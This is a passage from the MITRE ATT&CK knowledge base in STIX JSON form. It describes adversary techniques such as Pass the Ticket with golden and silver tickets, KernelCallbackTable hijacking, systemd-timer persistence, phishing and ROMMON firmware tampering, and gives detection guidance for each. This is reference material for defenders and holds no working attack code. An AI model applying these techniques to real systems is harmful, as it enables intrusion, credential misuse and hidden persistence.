","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Script: Script Execution","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","created":"2020-02-11T18:58:45.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1056/002","external_id":"T1056.002"},{"source_name":"LogRhythm Do You Trust Oct 2014","description":"Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.","url":"https://logrhythm.com/blog/do-you-trust-your-computer/"},{"source_name":"Spoofing credential dialogs","description":"Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.","url":"https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"},{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"},{"source_name":"Enigma Phishing for Credentials Jan 2015","description":"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.","url":"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"},{"source_name":"OSX Malware Exploits MacKeeper","description":"Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.","url":"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar","Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c","type":"attack-pattern","created":"2017-05-31T21:31:11.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1097","url":"https://attack.mitre.org/techniques/T1097"},{"external_id":"CAPEC-645","source_name":"capec","url":"https://capec.mitre.org/data/definitions/645.html"},{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"},{"url":"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos","description":"Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.","source_name":"GentilKiwi Pass the Ticket"},{"url":"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf","description":"Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.","source_name":"Campbell 2014"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"}],"modified":"2020-01-30T19:57:16.037Z","name":"Pass the Ticket","description":"Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_system_requirements":["Requires Microsoft Windows as a target system and Kerberos authentication enabled."],"x_mitre_is_subtechnique":false},{"modified":"2024-09-16T16:20:16.431Z","name":"Tool","description":"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["SOCCRATES","Mnemonic AS"],"x_mitre_deprecated":false,"x_mitre_detection":"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Malware Repository: Malware Metadata"],"type":"attack-pattern","id":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","created":"2020-10-01T02:08:33.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1588/002","external_id":"T1588.002"},{"source_name":"Analyzing CS Dec 2020","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"},{"source_name":"Recorded Future Beacon 2019","description":"Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","type":"attack-pattern","created":"2020-03-11T13:50:11.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1052.001","url":"https://attack.mitre.org/techniques/T1052/001"}],"modified":"2021-10-15T22:48:29.490Z","name":"Exfiltration over USB","description":"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media are mounted.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Drive: Drive Creation","File: File Access","Command: Command Execution"],"x_mitre_system_requirements":["Presence of physical medium or device"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","type":"attack-pattern","created":"2022-02-25T15:27:44.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.013","url":"https://attack.mitre.org/techniques/T1574/013"},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"FinFisher exposed ","url":"https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."},{"source_name":"Windows Process Injection KernelCallbackTable","url":"https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/","description":"odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."},{"source_name":"NtQueryInformationProcess","url":"https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess","description":"Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."}],"modified":"2022-03-22T15:47:33.915Z","name":"KernelCallbackTable","description":"Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution"]},{"modified":"2024-10-04T13:12:14.469Z","name":"Search Closed Sources","description":"Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Barbara Louis-Sidney (OWN-CERT)"],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","created":"2020-10-02T17:01:42.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1597","external_id":"T1597"},{"source_name":"ZDNET Selling Data","description":"Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.","url":"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:42:51.536Z","name":"Systemd Timers","description":"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["SarathKumar Rajendran, Trimble Inc"],"x_mitre_deprecated":false,"x_mitre_detection":"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","Process: Process Creation","Command: Command Execution","Scheduled Job: Scheduled Job Creation"],"x_mitre_permissions_required":["User","root"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","created":"2020-10-12T17:50:31.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053/006","external_id":"T1053.006"},{"source_name":"Systemd Remote Control","description":"Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.","url":"https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"},{"source_name":"archlinux Systemd Timers Aug 2020","description":"archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.","url":"https://wiki.archlinux.org/index.php/Systemd/Timers"},{"source_name":"gist Arch package compromise 10JUL2018","description":"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.","url":"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"},{"source_name":"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018","description":"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.","url":"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"},{"source_name":"acroread package compromised Arch Linux Mail 8JUL2018","description":"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.","url":"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"},{"source_name":"Falcon Sandbox smp: 28553b3a9d","description":"Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.","url":"https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300"},{"source_name":"Linux man-pages: systemd January 2014","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.","url":"http://man7.org/linux/man-pages/man1/systemd.1.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-07T15:00:19.668Z","name":"Phishing","description":"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Philip Winther","Ohad Zaidenberg, @ohad_mz","Liora Itkin","Liran Ravich, CardinalOps","Scott Cook, Capital One"],"x_mitre_deprecated":false,"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Identity Provider","Office Suite"],"x_mitre_version":"2.6","x_mitre_data_sources":["File: File Creation","Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","created":"2020-03-02T18:45:07.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1566","external_id":"T1566"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"phishing-krebs","description":"Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.","url":"https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/"},{"source_name":"CISA Remote Monitoring and Management Software","description":"CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"},{"source_name":"cyberproof-double-bounce","description":"Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.","url":"https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"},{"source_name":"Unit42 Luna Moth","description":"Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.","url":"https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Microsoft OAuth Spam 2022","description":"Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"},{"source_name":"sygnia Luna Month","description":"Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.","url":"https://blog.sygnia.co/luna-moth-false-subscription-scams"},{"source_name":"Proofpoint-spoof","description":"Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.","url":"https://www.proofpoint.com/us/threat-reference/email-spoofing"},{"source_name":"Palo Alto Unit 42 VBA Infostealer 2014","description":"Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.","url":"https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228","type":"attack-pattern","created":"2017-05-31T21:30:50.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1061","url":"https://attack.mitre.org/techniques/T1061"},{"url":"https://en.wikipedia.org/wiki/Run_command","description":"Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.","source_name":"Wikipedia Run Command"}],"modified":"2020-03-30T13:38:08.738Z","name":"Graphical User Interface","description":"**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_remote_support":true,"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","type":"attack-pattern","created":"2020-10-20T00:05:48.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.004","url":"https://attack.mitre.org/techniques/T1542/004"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-22T02:18:19.568Z","name":"ROMMONkit","description":"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware 